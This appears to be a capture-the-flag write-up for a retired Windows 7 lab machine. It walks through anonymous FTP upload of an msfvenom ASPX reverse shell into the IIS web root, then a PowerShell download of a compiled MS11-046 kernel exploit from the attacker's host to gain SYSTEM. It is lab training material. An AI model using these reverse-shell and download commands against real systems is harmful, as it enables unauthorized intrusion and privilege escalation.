Retired machine. Flags redacted - solve it yourself.
Summary
Windows 7 x86 box. Anonymous FTP writes directly into the IIS web root, so an uploaded ASPX web shell executes in the browser. The unpatched kernel is then abused with MS11-046 (afd.sys) for SYSTEM.
Enumeration
nmap -sV -sC -O 10.10.10.5 -oA nmap
21/tcp open ftp Microsoft ftpd (anonymous login allowed)
80/tcp open http Microsoft IIS 7.5
OS guess: Windows 7 / Server 2008 R2 (x86).
- Anonymous FTP login works. Root holds
iisstart.htm,welcome.png. - Browsing
http://10.10.10.5/iisstart.htmshows the default IIS page. - Key insight: the FTP root maps to the web root, so anything uploaded via FTP is served by IIS.
Foothold
Executables and PHP shells don’t run on IIS; ASPX does.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.32 LPORT=1234 -f aspx > shell.aspx
Upload shell.aspx over FTP, then request it in the browser → shell as iis apppool\web.
Privilege Escalation
systeminfo
Windows 7 x86, unpatched, no hotfixes → kernel exploit candidate.
MS11-046 (afd.sys):
searchsploit MS11-046 # 40564.c / 18755.c
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
Transfer it with PowerShell and run it:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.32:8083/exploit.exe','C:\Users\Public\Downloads\exploit.exe')"
Running the exploit returns a SYSTEM shell → root flag.
Lessons Learned
- Anonymous FTP writing into a web root is critical - upload a shell the server will execute.
- Match the payload to the target: ASPX on IIS, not PHP or a raw exe.
- PowerShell
System.Net.WebClientis a reliable file-transfer trick on Windows. - Unpatched kernels fall to old local exploits like MS11-046.